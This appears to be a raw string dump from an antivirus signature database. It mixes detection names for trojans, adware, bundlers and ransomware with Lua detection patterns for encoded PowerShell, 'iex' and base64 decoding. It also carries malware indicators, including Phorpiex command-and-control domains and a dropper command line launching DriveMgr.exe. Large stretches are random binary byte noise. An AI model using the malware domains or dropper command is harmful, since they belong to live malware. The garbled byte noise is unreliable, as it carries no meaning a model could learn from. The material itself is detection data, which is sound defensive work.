<clsid\\{4ccea634-fbe0-11d1-906a-00c04fd9189d}\\inprocserver32 @C:\\WINDOWS\\system32\\dxtmsft.dll <clsid\\{4ddb6d36-3bc1-11d2-86f2-006008b0e5d2}\\inprocserver32 @C:\\WINDOWS\\system32\\wavemsp.dll <clsid\\{4fd2a832-86c8-11d0-8fca-00c04fd9189d}\\inprocserver32 @C:\\WINDOWS\\system32\\ddrawex.dll 5AhKy )ft\\SF bUIZZ &- aJ dF<92 ]/4{R kLTBz j2\\lR ,2S3J: t!HTN  O|k4+`  '5>e%, L:P$= ~x-%1C z\\G,.L UlZ`b DgY\\n+E' 8l*6#}? sFY_Y ]}Gb,p 'F?^e) G&>,W 9a'tG cu*fH {F{H^ $`;UET w^H&P 7lyJI 5(FCs *;8Jbx\\nZVO n nk8 p%F+|} hv]baK j6/rHJ ]{Zlj a4[,,k o[\tz7 S? RjJ t>nu[ UpxZ$l1 W6bj8A pnA8e Ho)SQ 39}YA8 3\tckR ^ZvJS TO0-G< ,Z9R+C NSG4} a|t4#H XhP-@ i\tzR. Xg}wI v8BQA -N \\. sJ!/c Kg3tNB 9I)>m t>3\tf 3,\"*9 ;J$X`C c^Quo zFl#v l}}|) -D<#X e ce}_$ mpattribute  12ae7831968286 HSTR:TrojanDownloader:Win32/Onkods_Lowfi )HSTR:TrojanDownloader:Win32/Onkods_Lowfi 367fa3dac669 70786b38e6d1  717855ac9a17 SIGATTR:DeleteMyAppExe SIGATTR:WRITESYSDIR 8f7855b294f9  HSTR:Trojan:Win32/Colisi ac781f5a9735  b07fbd738628   b8788d59d230  c17846e77279  c478b9dc9c64  e6783a59b874  11f78c101e858  12a610536e920 19541f345ae79  196785380bdd4  36878247e0651  7389b459a997 77b313d103ec %.ini$ 1d2980e90c3a 1d2980e90c3aIncludesResearchData  1197874711437  11e78839856e7  14778b52a2229 HSTR:TrojanDownloader:Win32/Krado.A $HSTR:TrojanDownloader:Win32/Krado.A 1a1785dbaf550  15b3135bcf57  15b3686bdaf8 \\windows defender\\msmpeng.exe 15b3b1af5db2 15b3cfb21399 1bb3df96ab4b 218965b94a2a 25b3bd15b206 35406042d2f1 lsass 49b36a1ad4c7   %d%d%d?%d?%d?  5178006dbd34  ae788f0f8e65 bb78df03205e 49780b465295 49780b465295Flags1 !#Lua:Mytonel.F1 !#Lua:Mytonel.F1ObMpAttributes \\pps-qq-19.exe 2989b47ba5ce 2a89b4ee54c2 3578f1ffdd5d 4978cd2bb9a3  527895c44054 746135b521bf 8778514d817f  8b780cde6b6d a4784e9cdc79  b078d9d42760  bd7817ec59ce  bdd7666326d5  fc78fae57549 !#Lua:Vmhost.A \\updatetask\\vmhost.exe Lua:Vmhost.A  !#ALF:Exploit:Script/CVE-2019-7238.A !#ALF:Exploit:Script/CVE-2019-7238.AObMpAttributes SCPT:CodeOnly.CVE-2019-7238 15b3894ac0be 15b38dc523be  125408c3481fc  12978f0ebf1a9   1318d6a467dfb PUA:Block:AMCleaner.B 135400df9da11  13540639e9f09  13540acc83d42  13540e88fe3a7  135614520e48f  13c8d7a804c74 PUA:Block:BackTrack.C 145402bddbe46  145407617610d  145408fac942d  14540b056f2f8  1554066b7cb33  15540e953d81c  15f8dd3f3b6dc PUA:Block:Genieo.C!xp 165400270fa44  1654007ed3918  1654075c406b4  16540909a02ce  16540f50d4252  16d8df843fe48 PUA:Block:AMCleaner.E 17278540e1c5d  1738d607bb4ee PUA:Block:AMCleaner.H 175408a749fe9  17540b358387f  17540f2561b45  17e8d15352b51 PUA:Block:VSearch!MTB 1854036d29845  195401d441a11  1a540238b0979  1a540334f72ea  1b0786563ca93  1b54039beae74  1c54003a91698  1c540a9a59dfd  1d540665516ba  1e54062bc6706  1e5408ebf1c34  1f278011b9a86  1f4619914f392  213784b37586a HSTR:JSUtilsFramework 2448dc628f42a PUA:Block:Genieo.B!xp 2ab785328da72 HSTR:IOAVDownloadAdmin 3b961d29aa2ce  !#ALF:Trojan:Script/Typhon.G!dha SCPT:Typhon.G !#ALF:Trojan:Script/Scryper.A!dha SCPT:Scryper  1e29575536c4 ->(pdf 2e89e2cab250 4478f0a828fa  4789de07ede5 4a78f78faf57   4d89fa17e08a 4f78b832d2de  5078cf66536e  55787f0be04e  5578d38a8f5e  57780fbbeff3  5c8d5f60860e PUA:Block:Skypelogger.C 688d9161fdf4 PUA:Block:MacInformer.B 7178650dd034  727879b0f1f1  768d27516597 PUA:Block:InstallCore.A 788d14e97e3a PUA:Block:TuneupMyMac.B 78be48491055 8178d239f3ed  yP!qBH#- $hxQOix g9;rc -&<!Z c&!<D| A\tX1W AeB j 9 [<< E.ld3M  .XL.qhz &l/4Fm#B O&l/4Fm#B HjeMbb mTfKzs %q=1Et -o \\9 dD]X: #Dvkdt +Tx+s 0Wp^| A<\"8h @@S2ef] X{_2_| B.C)} m|j0G: v.}oS U 2B] T `n@ yRy9@ Au5e^ =l~-g <pMK} b*]) t2C~TX k(A|P e#R ;y V,\t#s D|.MFN {MsfIN yf;6~ )]M1V\t J_ S5 mYg3J ?$a2U 3`+v! [W/Up xTL.{ds nkQKB= nr}]',v k*[\\? }V`j. 58c#BRW 9Xf<P }%)go aLYKF7 Sp\"8> `n\"i! Parameters\\Policy\\Persistent\\Filter\\\\{70694559-714a-4a38-a0cd-51439e06f1d8} YEipJq8J Parameters\\Policy\\Persistent\\Filter\\\\{89a89b7c-b5ab-4ed6-bf05-d3059281a5c5} AppContainerBoottimeFilter Parameters\\Policy\\Persistent\\Filter\\\\{84750a0c-b836-48e3-ab80-104985c857db} Parameters\\Policy\\Persistent\\Filter\\\\{e72646bc-7d3f-4c5c-a679-b3716f8c6cc8} Parameters\\Policy\\Persistent\\Filter\\\\{b98b75dc-17c0-4e84-bd4e-2080527ca6a6} Apple Inc.p 2FNC3A47ZFp EQHXZ8M8AVp UBF8T346G9p 0u6U@ xcD,S: ?L @, Z1zQp s?!0p 94iJ: jr_6\"C g<mc~p n5w37 =KK9: <R-ztw -kG!p 'o1 E$p 5(VH_Z AdPQ[} 4d\\)v {t0/i ?Dm12 mhG{p '\\0 , !Linkury Program:Win32/Ymacco.AACE Program:Win32/Ymacco.AA8E !Small!rfn Program:Win32/Ymacco.AACC Program:Win32/Ymacco.AAD0 Adware:Win64/Neoreklami!rfn Program:Win32/Ymacco.AAC5 !Phorpiex.AJY!MSR http://worm.ws/ http://seuufhehfueughek.ws/ http://tsrv4.ws/ %s\\%s\\DriveMgr.exe /c start __ & __\\DriveMgr.exe & exit] Program:Win32/Ymacco.AA10 Program:Win32/Ymacco.AAE3 Program:Win32/Ymacco.AA93 Program:Win32/Ymacco.AAC6 >3j)s;u:2 MonitoringTool:Win32/Despy !Fareit.PA!MTB  M.0>g Program:Win32/Ymacco.AAA8 Program:Win32/Ymacco.AA57 Program:Win32/AdAgent!MTB !PassStealer!MTB MonitoringTool:Win32/AnyKeyl ARedirector Program:Win32/Ymacco.AA3C PUA:Win32/Haozip   2345 Lua:HaoZip PUA:Win32/2345Browser  Lua:Browser2345 PUA:MacOS/Bundlore.Sf!MTB PUA:MacOS/Bundlore.Sf1|PUA:MacOS/Bundlore.Sf2&!PUA:Exceptionz @<PUA:MacOS/Bundlore.Sf1|PUA:MacOS/Bundlore.Sf2&!PUA:Exceptionz PUA:Win32/DumpLsass.A PUA:Win32/uTorrent_BundleInstaller \"PUA:Win32/uTorrent_BundleInstaller RZD(B PUA:Block:uTorrent_BundleInstaller&CONTEXT:PUA:InstallContextMet&!PUA:Exception SOPUA:Block:uTorrent_BundleInstaller&CONTEXT:PUA:InstallContextMet&!PUA:Exception PUA:ML:Blocked:uTorrent_BundleInstaller&CONTEXT:PUA:InstallContextMet&!PUA:Exceptionz XTPUA:ML:Blocked:uTorrent_BundleInstaller&CONTEXT:PUA:InstallContextMet&!PUA:Exceptionz App:Utorrent_BundleInstaller %appdata%\\utorrent %userprofile%\\downloads\\utweb_installer*.exe *\\utorrent.exe %userprofile%\\downloads\\utweb_installer*.exe*\\utorrent.exe *CN=?Bittorrent Inc* *O=?Bittorrent Inc* *CN=?Bittorrent Inc**O=?Bittorrent Inc* BitTorrent Inc. BitTorrent, Inc. BitTorrent Inc.BitTorrent, Inc.z PUA:Win32/FreeSnippingTool PUA:Block:FreeSnippingTool&!PUA:Exceptionz -)PUA:Block:FreeSnippingTool&!PUA:Exceptionz Program:Win32/Ymacco.AA28 Adware:Script/Wacatac.C!ml SoftwareBundler:Script/Wacatac.C!ml #SoftwareBundler:Script/Wacatac.C!ml Misleading:Script/Wacatac.C!ml BrowserModifier:Script/Wacatac.C!ml  #BrowserModifier:Script/Wacatac.C!ml !Wacatac.B!ml SoftwareBundler:Win32/Wacatac.B!ml \"SoftwareBundler:Win32/Wacatac.B!ml Misleading:Win32/Wacatac.B!ml BrowserModifier:Win32/Wacatac.B!ml  \"BrowserModifier:Win32/Wacatac.B!ml Adware:Script/Wacatac.B!ml SoftwareBundler:Script/Wacatac.B!ml #SoftwareBundler:Script/Wacatac.B!ml Misleading:Script/Wacatac.B!ml BrowserModifier:Script/Wacatac.B!ml  #BrowserModifier:Script/Wacatac.B!ml Adware:Script/Conteban.A!ml SoftwareBundler:Script/Conteban.A!ml $SoftwareBundler:Script/Conteban.A!ml Misleading:Script/Conteban.A!ml BrowserModifier:Script/Conteban.A!ml  $BrowserModifier:Script/Conteban.A!ml !Phonzy.A!ml SoftwareBundler:Win32/Phonzy.A!ml !SoftwareBundler:Win32/Phonzy.A!ml Misleading:Win32/Phonzy.A!ml BrowserModifier:Win32/Phonzy.A!ml  !BrowserModifier:Win32/Phonzy.A!ml Adware:Script/Phonzy.A!ml SoftwareBundler:Script/Phonzy.A!ml \"SoftwareBundler:Script/Phonzy.A!ml Misleading:Script/Phonzy.A!ml BrowserModifier:Script/Phonzy.A!ml  \"BrowserModifier:Script/Phonzy.A!ml !Tiggre!rfn SoftwareBundler:Win32/Tiggre!rfn  SoftwareBundler:Win32/Tiggre!rfn Misleading:Win32/Tiggre!rfn BrowserModifier:Win32/Tiggre!rfn   BrowserModifier:Win32/Tiggre!rfn !Woreflint.A!cl SoftwareBundler:Win32/Woreflint.A!cl $SoftwareBundler:Win32/Woreflint.A!cl Misleading:Win32/Woreflint.A!cl BrowserModifier:Win32/Woreflint.A!cl  $BrowserModifier:Win32/Woreflint.A!cl !Masson.A!ac SoftwareBundler:Win32/Masson.A!ac !SoftwareBundler:Win32/Masson.A!ac Misleading:Win32/Masson.A!ac BrowserModifier:Win32/Masson.A!ac  !BrowserModifier:Win32/Masson.A!ac !Wacatac.G!ml SoftwareBundler:Win32/Wacatac.G!ml \"SoftwareBundler:Win32/Wacatac.G!ml Misleading:Win32/Wacatac.G!ml BrowserModifier:Win32/Wacatac.G!ml  \"BrowserModifier:Win32/Wacatac.G!ml !Conteban.A!ml SoftwareBundler:Win32/Conteban.A!ml #SoftwareBundler:Win32/Conteban.A!ml Misleading:Win32/Conteban.A!ml BrowserModifier:Win32/Conteban.A!ml  #BrowserModifier:Win32/Conteban.A!ml !Zpevdo.B SoftwareBundler:Win32/Zpevdo.B Misleading:Win32/Zpevdo.B BrowserModifier:Win32/Zpevdo.B !Skeeyah SoftwareBundler:Win32/Skeeyah Misleading:Win32/Skeeyah BrowserModifier:Win32/Skeeyah !Wacatac.A!ml SoftwareBundler:Win32/Wacatac.A!ml \"SoftwareBundler:Win32/Wacatac.A!ml Misleading:Win32/Wacatac.A!ml BrowserModifier:Win32/Wacatac.A!ml  \"BrowserModifier:Win32/Wacatac.A!ml !Wacatac.DF!ml SoftwareBundler:Win32/Wacatac.DF!ml #SoftwareBundler:Win32/Wacatac.DF!ml Misleading:Win32/Wacatac.DF!ml BrowserModifier:Win32/Wacatac.DF!ml  #BrowserModifier:Win32/Wacatac.DF!ml !Wacatac.D2!ml SoftwareBundler:Win32/Wacatac.D2!ml #SoftwareBundler:Win32/Wacatac.D2!ml Misleading:Win32/Wacatac.D2!ml BrowserModifier:Win32/Wacatac.D2!ml  #BrowserModifier:Win32/Wacatac.D2!ml !Wacatac.D6!ml SoftwareBundler:Win32/Wacatac.D6!ml #SoftwareBundler:Win32/Wacatac.D6!ml Misleading:Win32/Wacatac.D6!ml BrowserModifier:Win32/Wacatac.D6!ml  #BrowserModifier:Win32/Wacatac.D6!ml !Wacatac.D8!ml SoftwareBundler:Win32/Wacatac.D8!ml #SoftwareBundler:Win32/Wacatac.D8!ml Misleading:Win32/Wacatac.D8!ml BrowserModifier:Win32/Wacatac.D8!ml  #BrowserModifier:Win32/Wacatac.D8!ml !Wacatac.DE!ml SoftwareBundler:Win32/Wacatac.DE!ml #SoftwareBundler:Win32/Wacatac.DE!ml Misleading:Win32/Wacatac.DE!ml BrowserModifier:Win32/Wacatac.DE!ml  #BrowserModifier:Win32/Wacatac.DE!ml !Wacatac.D4!ml SoftwareBundler:Win32/Wacatac.D4!ml #SoftwareBundler:Win32/Wacatac.D4!ml Misleading:Win32/Wacatac.D4!ml BrowserModifier:Win32/Wacatac.D4!ml  #BrowserModifier:Win32/Wacatac.D4!ml !Wacatac.D3!ml SoftwareBundler:Win32/Wacatac.D3!ml #SoftwareBundler:Win32/Wacatac.D3!ml Misleading:Win32/Wacatac.D3!ml BrowserModifier:Win32/Wacatac.D3!ml  #BrowserModifier:Win32/Wacatac.D3!ml !Wacatac.D1!ml SoftwareBundler:Win32/Wacatac.D1!ml #SoftwareBundler:Win32/Wacatac.D1!ml Misleading:Win32/Wacatac.D1!ml BrowserModifier:Win32/Wacatac.D1!ml  #BrowserModifier:Win32/Wacatac.D1!ml !Wacatac.D7!ml SoftwareBundler:Win32/Wacatac.D7!ml #SoftwareBundler:Win32/Wacatac.D7!ml Misleading:Win32/Wacatac.D7!ml BrowserModifier:Win32/Wacatac.D7!ml  #BrowserModifier:Win32/Wacatac.D7!ml !Bluteal!rfn SoftwareBundler:Win32/Bluteal!rfn !SoftwareBundler:Win32/Bluteal!rfn Misleading:Win32/Bluteal!rfn BrowserModifier:Win32/Bluteal!rfn  !BrowserModifier:Win32/Bluteal!rfn !Wacatac.DD!ml SoftwareBundler:Win32/Wacatac.DD!ml #SoftwareBundler:Win32/Wacatac.DD!ml Misleading:Win32/Wacatac.DD!ml BrowserModifier:Win32/Wacatac.DD!ml  #BrowserModifier:Win32/Wacatac.DD!ml !Wacatac.D0!ml SoftwareBundler:Win32/Wacatac.D0!ml #SoftwareBundler:Win32/Wacatac.D0!ml Misleading:Win32/Wacatac.D0!ml BrowserModifier:Win32/Wacatac.D0!ml  #BrowserModifier:Win32/Wacatac.D0!ml !Wacatac.DA!ml SoftwareBundler:Win32/Wacatac.DA!ml #SoftwareBundler:Win32/Wacatac.DA!ml Misleading:Win32/Wacatac.DA!ml BrowserModifier:Win32/Wacatac.DA!ml  #BrowserModifier:Win32/Wacatac.DA!ml !Wacatac.DB!ml SoftwareBundler:Win32/Wacatac.DB!ml #SoftwareBundler:Win32/Wacatac.DB!ml Misleading:Win32/Wacatac.DB!ml BrowserModifier:Win32/Wacatac.DB!ml  #BrowserModifier:Win32/Wacatac.DB!ml !Wacatac.D9!ml SoftwareBundler:Win32/Wacatac.D9!ml #SoftwareBundler:Win32/Wacatac.D9!ml Misleading:Win32/Wacatac.D9!ml BrowserModifier:Win32/Wacatac.D9!ml  #BrowserModifier:Win32/Wacatac.D9!ml !Wacatac.D5!ml SoftwareBundler:Win32/Wacatac.D5!ml #SoftwareBundler:Win32/Wacatac.D5!ml Misleading:Win32/Wacatac.D5!ml BrowserModifier:Win32/Wacatac.D5!ml  #BrowserModifier:Win32/Wacatac.D5!ml !Wacatac.DC!ml SoftwareBundler:Win32/Wacatac.DC!ml #SoftwareBundler:Win32/Wacatac.DC!ml Misleading:Win32/Wacatac.DC!ml BrowserModifier:Win32/Wacatac.DC!ml  #BrowserModifier:Win32/Wacatac.DC!ml Adware:Script/Foretype.A!ml SoftwareBundler:Script/Foretype.A!ml $SoftwareBundler:Script/Foretype.A!ml Misleading:Script/Foretype.A!ml BrowserModifier:Script/Foretype.A!ml  $BrowserModifier:Script/Foretype.A!ml Adware:Script/Oneeva.A!ml SoftwareBundler:Script/Oneeva.A!ml \"SoftwareBundler:Script/Oneeva.A!ml Misleading:Script/Oneeva.A!ml BrowserModifier:Script/Oneeva.A!ml  \"BrowserModifier:Script/Oneeva.A!ml !Ditertag.A SoftwareBundler:Win32/Ditertag.A  SoftwareBundler:Win32/Ditertag.A Misleading:Win32/Ditertag.A BrowserModifier:Win32/Ditertag.A   BrowserModifier:Win32/Ditertag.A !Bomitag.D!ml SoftwareBundler:Win32/Bomitag.D!ml \"SoftwareBundler:Win32/Bomitag.D!ml Misleading:Win32/Bomitag.D!ml BrowserModifier:Win32/Bomitag.D!ml  \"BrowserModifier:Win32/Bomitag.D!ml !Ymacco.AA04 SoftwareBundler:Win32/Ymacco.AA04 !SoftwareBundler:Win32/Ymacco.AA04 Misleading:Win32/Ymacco.AA04 BrowserModifier:Win32/Ymacco.AA04  !BrowserModifier:Win32/Ymacco.AA04 Adware:Script/Woreflint.A!cl SoftwareBundler:Script/Woreflint.A!cl %SoftwareBundler:Script/Woreflint.A!cl Misleading:Script/Woreflint.A!cl  Misleading:Script/Woreflint.A!cl BrowserModifier:Script/Woreflint.A!cl  %BrowserModifier:Script/Woreflint.A!cl !Occamy.AA Misleading:Win32/Occamy.AA <,??# wV\t?\t r>&%)wV\t?\t& > *92 ^kHD9>  ?%ahxN w|,v> +?%~} XA ># = '(h# =&,\\K /bzI< =!>?' ADHD9> CX?&JK m&?!hne  Z-~; > .0* ;Z_> <$?gw ? AV@ GI.`1> JKNkA= OT@.#> m&? (* >&56yf 9> ;AIw v>\"X\\@q Q8? ` ?%vwj (?l?S? FSHD9> HQ;*M? ?%ej? s?\"op ?\tv|? 6aHD9> ?\t9HQ <>_.&= NRh{q> W.`1>!X pj ?\t pj ?\tb |A>%pq aXN? P< ? P< ? | aXN?  aXN? LO XA > \" ?#pt >\"*._?F> 9>$7L <,?? <,?? K B=\"W^ a?\"ahh ~#=2> aXN?$  >{iNg  <^iUg  !;;8g  4\\ACg  B p3g  ?f)eg  nHIAg ]6df$   H4$g  (iq+g ~<QGExz  A;@5g  yz#&g  vAcLg H)#@zB  PS1.g MonitoringTool:AndroidOS/MobileSpy!rfn &MonitoringTool:AndroidOS/MobileSpy!rfn k!rL: !HPDefender TrojanDownloader:ASX/Wimad Y;<A^T SoftwareBundler:Win32/InstallMonster.C &SoftwareBundler:Win32/InstallMonster.C MonitoringTool:Win32/MicTrayDebugger $MonitoringTool:Win32/MicTrayDebugger RPF:TopLevelFile&MonitoringTool:MicTrayKeylogger:Vulnerable:Stk&!Conextant:Cert:NotVulnerable a]RPF:TopLevelFile&MonitoringTool:MicTrayKeylogger:Vulnerable:Stk&!Conextant:Cert:NotVulnerable RPF:TopLevelFile&TEL:MonitoringTool:MicTrayKeylogger:Vulnerable&Conextant:Cert:MaybeVulnerable&!Conextant:Cert:NotVulnerable_ |RPF:TopLevelFile&TEL:MonitoringTool:MicTrayKeylogger:Vulnerable&Conextant:Cert:MaybeVulnerable&!Conextant:Cert:NotVulnerable_ c:\\users\\Public\\MicTray.log] PUA:Win32/InstallCapital PUA:Block:InstallCapital&!PUA:Exceptionz +'PUA:Block:InstallCapital&!PUA:Exceptionz !FakeMedia SoftwareBundler:Win32/Ogimant.A!cl \"SoftwareBundler:Win32/Ogimant.A!cl MonitoringTool:Win32/Spector!bit  MonitoringTool:Win32/Spector!bit SoftwareBundler:Win32/InstallMonster.D &SoftwareBundler:Win32/InstallMonster.D SoftwareBundler:Win32/ICLoader.D  SoftwareBundler:Win32/ICLoader.D SoftwareBundler:Win32/Dlhelper.B  SoftwareBundler:Win32/Dlhelper.B !Dofoil.U!bit MonitoringTool:Win32/Anlagent MonitoringTool:Win32/Anlagent$@ qZSBb& +|Vi' Zx.!:  #]Zcg 6~3Qbm BrowserModifier:Win32/Xeelyak 0\tm. \\YAC.lnk_ \\Elex-tech\\iSafeSvc.dll_ &\\Elex-tech\\iSafeSvc.dll_ \\Elex-tech\\YAC\\iDesk\\desk.ini_  (x86)\\Elex-tech\\iSafeSvc.dll_+ & (x86)\\Elex-tech\\iSafeSvc.dll_+ \\Microsoft\\Windows\\SendTo\\YAC Desktop.lnk_I \\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\StartMenu\\YAC.lnk_Q \\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\StartMenu\\YAC Desktop.lnk__ \\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\StartMenu\\Depth clean up junk files.lnk` \\YAC` \\Elex-tech` &\\Elex-tech`  (x86)\\Elex-tech` & (x86)\\Elex-tech` \\iSafeRightKeyScan`, \\Microsoft\\Windows\\Start Menu\\Programs\\YAC] \\iSafeRightKeyScan`,#\\Microsoft\\Windows\\Start Menu\\Programs\\YAC] !ScarletFlash.A BrowserModifier:Win32/ScarletFlash.A  $BrowserModifier:Win32/ScarletFlash.A SoftwareBundler:Win32/ScarletFlash.A $SoftwareBundler:Win32/ScarletFlash.A Misleading:Win32/ScarletFlash.A MisleadingAd:Win32/ScarletFlash.A !MisleadingAd:Win32/ScarletFlash.A MonitoringTool:Win32/ScarletFlash.A #MonitoringTool:Win32/ScarletFlash.A PUA:Win32/ScarletFlash.A RemoteAccess:Win32/ScarletFlash.A !!RemoteAccess:Win32/ScarletFlash.A Rogue:Win32/ScarletFlash.A SettingsModifier:Win32/ScarletFlash.A %SettingsModifier:Win32/ScarletFlash.A MonitoringTool:Win32/AnyKeylogger!bit %MonitoringTool:Win32/AnyKeylogger!bit !Amonetize !Dofoil.V!bit PUA:Win64/CoinMiner PUA:Block:CoinMiner64&!PUA:NamedMiner&!PUA:Exceptionz 84PUA:Block:CoinMiner64&!PUA:NamedMiner&!PUA:Exceptionz PUA:Win32/Auslogics PUA:IRST:Block:Auslogics&!PUA:Exception +'PUA:IRST:Block:Auslogics&!PUA:Exception PUA:Block:Auslogics&CONTEXT:PUA:InstallContextMet&!PUA:Exception D@PUA:Block:Auslogics&CONTEXT:PUA:InstallContextMet&!PUA:Exception PUA:MLVI:Blocked:Auslogics&CONTEXT:PUA:InstallContextMet&!PUA:Exceptionz KGPUA:MLVI:Blocked:Auslogics&CONTEXT:PUA:InstallContextMet&!PUA:Exceptionz !WizzByPass !Bagle!rfn BrowserModifier:Win32/Foxiebro.A!cl  #BrowserModifier:Win32/Foxiebro.A!cl \\appvclient.exe 4bb32085dbeb !#LUA:MacroContainer ->xl/vbaproject.bin ->word/vbaproject.bin MHSTR:MacroInside //LUA:MacroInsideContainer !#Lua:CarbanakDownloadFile kldconfig.plug Lua:CarbanakDownloadFile !#Lua:ContextDataProcessName3 Lua:AmsiAppContextDataPresent Lua:AmsiAppContextData:Proc: Lua:AmsiAppContextData:File: 69b34f0ba9e5 (.+)(%.[^%.]*) (.+)%(.+%)$ bb780d009f0f svr_create svr_start  svr_stop \tsvr_stop svr_close  svr_user_accept svr_user_get_wlan svr_user_recv_notify svr_user_send_notify svr_user_manager svr_user_close mmap_string_rva namerva 113b35cdd0c05  !#FDR:ContextualDropEXEDownloads!111P20   \\downloads$ 68b387d79f8d    112780d8eea01  !#Lua:ContextualDropGamarueRf !#Lua:ContextualDropGamarueRfObMpAttributes  xpers ([^\\]+)%..+ !#ALF:LuaContextualDropOutlookContainerFileDrop.A outlook.exe 16678ce37ee26 LowFiDropboxUnderWin  !#LUA:O97M/EncDoc.KUI !#LUA:O97M/EncDoc.KUIObMpAttributes document_%d%d%d%d%d%d%d%d%d+_12%d%d2020.xls ,document_%d%d%d%d%d%d%d%d%d+_12%d%d2020.xls document%-%d%d%d%d%d%d%d%d%d.xls !document%-%d%d%d%d%d%d%d%d%d.xls complaint%-copy_%d%d%d%d%d%d%d%d%d+-12%d%d2020.xls 3complaint%-copy_%d%d%d%d%d%d%d%d%d+-12%d%d2020.xls !#Lua:PsCommandlineContext !#Lua:PsCommandlineContextObMpAttributes  ~VirTool:Win32/Obfuscator.RC   xray_block 7db313d5f4ac transfer \ttransfer addfile  \\svchost \t\\svchost a1b30ca210b3 \t@EF@  35778d22d739a 35778d22d739aFlags1  35b316eb5845  invoke-expression %$env: iex %$env: 5678f89ee816 @BW@D   6a782f66fd20  cdb3efadb67f \\umworkerprocess.exe  d378f81c3552 !#Trojan:Win32/SirefefDllInstaller msimg32.dll !#SLF:LuaContextualPSspecPEDrop!rsm roaming.exe 25b30b0e4372 \\sqlservr.exe \\sqlagent.exe  b1b3c0867ccc b1b3c0867cccIncludesBMLuaLib  ;Q g  V?,hg lr1.U( BFruc}  aH?lg r4V:%  ]u8_g Ua7Sf -eN9>  )cD*g  a)B]g  :*{Fg 8u46|  Nj\\6g  06L-g  oD~g  )2u g  %@b~ Jg\" h Uo#aeAm2 PUA:Win32/PremiumInstaller PUA:Block:PremiumInstaller&!PUA:Exception -)PUA:Block:PremiumInstaller&!PUA:Exception PUA:IRST:Block:PremiumInstaller&!PUA:Exceptionz 2.PUA:IRST:Block:PremiumInstaller&!PUA:Exceptionz SoftwareBundler:Win32/Pokovampo SoftwareBundler:Win32/Dlhelper ? 2   ?Jl8g 2Gkgo\\ FrL3^  8t*FH jup|& E ^m^ e*`gO \"v^S) K E2<.rEJe azveT 5oI)d,Y 2piedzr $Nc \"is# nnJ<M {De[g ctH.1 NXvF4| 8M _( n#2dm 83h>l 83h>l( 8)ZGy 8)ZGy. -OC~pSk -OC~pSk^ Q~U~C  IBctg  U$7jg  fEa5g  (g&xg  //=&g 8Q:t$ 8Q:t$.  1\\JIg 8&_ 0  Ik%:g  J&dGg  0xpng 85mS4 85mS4* 8}IM\" 8}IM\", R<FHD 8`WaZ 8`WaZ* 8Bozp  :iyig 8:^~a  y7!0g 8)L/. 8)L/.. 8t B, $zO$\" 8Iw=8 8Iw=8,  >k5Ug 8Ff+Y 8Ff+Y. q$ZHAu C d%}t l\\im` 01a\"t. $|xR;% y8QPUwAG) 3K:*U -Hud_ i/4(,Q guJ9i 2q7%A oi,zO {DASV XP(U$ o< Cd u)MVR u2ypb uLvVT7V uX-wX? mj#H  upl * Y$&\\W( _+4,/y &RjbqbHR C_ |Qi]u<?) VblUg= 1OE#z 9JuJF l|Lf7 K7Zz? v<K5[ rV%DL |&/!we &I(\t:]} NyO-- Q~RH~ )6A-R &sM\tm  ZQ\\\t@ ?n@>Dm J E1} o{6U3W 95[,\"'{ {a)r4 AKb]r p0.>@ ZaE6P wdd4W xHQ=uon D gTO xuFg~ @{mG;. tPU U !#TestTrigger2 6e6b5b2a%-ec7e%-4f25%-95bb%-504bb437e95e )6e6b5b2a%-ec7e%-4f25%-95bb%-504bb437e95e RequestIeBlockPage RequestIeBlockControl CONTEXT_DATA_CONTROL_HTML ievtestflag='{dbcbb885%-65d3%-497e%-ae63%-6a2ee5effd62}' 9ievtestflag='{dbcbb885%-65d3%-497e%-ae63%-6a2ee5effd62}' ievtestflag='{04ddafef%-cb54%-4caa%-9060%-59cf0dea1aae}' 9ievtestflag='{04ddafef%-cb54%-4caa%-9060%-59cf0dea1aae}' 2db3569a6ad1  uEF@  51b3ba9a3b81 checkPossibleEncoded %.ps1 %w%w%w%w%w%w%w%w%w%w%w%w%w%w%w%w+ \"%w%w%w%w%w%w%w%w%w%w%w%w%w%w%w%w+  ([-/]wi?n?d?o?w?s?s?t?y?l?e?)%s+(%w+)%s ) ([-/]wi?n?d?o?w?s?s?t?y?l?e?)%s+(%w+)%s 55b3176a1cd1 ^:\\users\\.*\\appdata MemMappedImage CheckMZPEIfMapped state_type SMS_MBI_COMMIT SMS_MBI_PRIVATE This program cannot be run in DOS mode. +This program cannot be run in DOS mode.  !#PEPCODE:VirTool:WinNT/Siapag.gen!B  MajorSubsystemVersion DllCharacteristics !#ALF:Lua:ContextualGamPl  ^%l%l%l+%.exe$ \\users\\[^\\]+$ !#PEPCODE:VirTool:Win32/Obfuscator.EQ  1efb36faccb7b ([^\\]-([^%.]+))$  !#TEL:Ransom:Win32/AvaddonCrypt.SP!MTB   AVG Virus scanner  aswQuick.exe  Copyright (C) 2014 AVG Technologies CZ, s.r.o. /Copyright (C) 2014 AVG Technologies CZ, s.r.o. 21788fcc8854 getrawu32  HSTR:VirTool:Win32/Obfuscator.PN!xor_plus.1_0A /HSTR:VirTool:Win32/Obfuscator.PN!xor_plus.1_0A HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_6DF1 .HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_6DF1 HSTR:VirTool:Win32/Obfuscator.PN!xor_plus.1_0D /HSTR:VirTool:Win32/Obfuscator.PN!xor_plus.1_0D HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_6FF3 .HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_6FF3  c37853e96c7c  18fb3ed23c4f0 UACBypassExp.T!regset  (.+)$   !#Lua:Worm:VBS/Jenxcus!Crypt16 ConversionToBinary_fastDec2BinWithKey !#Lua:Worm:VBS/Jenxcus!Crypt16IncludesConversionToBinary_fastDec2BinWithKey TARG:Worm:VBS/Jenxcus!Crypt16 &%schr%(%a-%(%a-%)%-(%d-)%) %a-%s=%s\"(%w-)\" fastDec2BinWithKey (%d+)[^%d]? [Crypt16]  2db3bd31c42a join[regex]::matches '.-'%+ {%d%d?}{%d%d?} 78d7e3beb637 78d7e3beb637Flags1 trustedinstaller binpath\\s*=([^&]+) $trustedinstaller binpath\\s*=([^&]+) \\servicing\\trustedinstaller.exe  \\servicing\\trustedinstaller.exe :\\lenovoquickfix\\ aab3264d3223 aab3264d3223IncludesBMLuaLib io.memorystream %-[eE][ncodemaNCODEMA]*%s+ $ms.Seek(0,0) convert]::frombase64string( 